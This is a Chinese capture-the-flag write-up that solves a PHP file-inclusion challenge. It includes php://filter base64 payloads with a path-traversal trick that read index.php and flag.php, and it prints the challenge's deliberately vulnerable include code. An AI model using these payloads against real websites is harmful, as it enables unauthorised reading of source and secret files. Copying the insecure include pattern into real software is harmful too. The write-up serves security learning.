原理
文件包含
liunx对不存在目录不敏感
伪协议利用
解题过程
进入靶场可以看到两个按钮,点其中一个,会传递category参数,然后会出现随机图片,两个按钮的参数值不一样,查看页面原代码证实了这样的操作
试试修改category值,发现只让有两个值其中一个
那再修改参数值,发现涉及include函数,是文件包含
参照文件包含伪协议的利用来构造payload,试试读取index文件源码,发现报错多了一个后缀,猜测是源码有连接后缀名
重新修改payload
category=php://filter/read=convert.base64-encode/resource=index
取打印出来的base64值解码,得到php源码为
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
查找strpos函数得知作用是返回woofers第一次出现的位置,没有则返回false,从源码可以看出,需要参数值包含woofers或者meowers或者index
插一个知识点是PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响
所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag
对base64解码即可获得flag,注意打印的base64多了个/,要去掉
参考文章:https://blog.csdn.net/weixin_44508748/article/details/108162951.
https://blog.51cto.com/u_15061934/4520192
https://blog.csdn.net/weixin_44508748/article/details/108162951.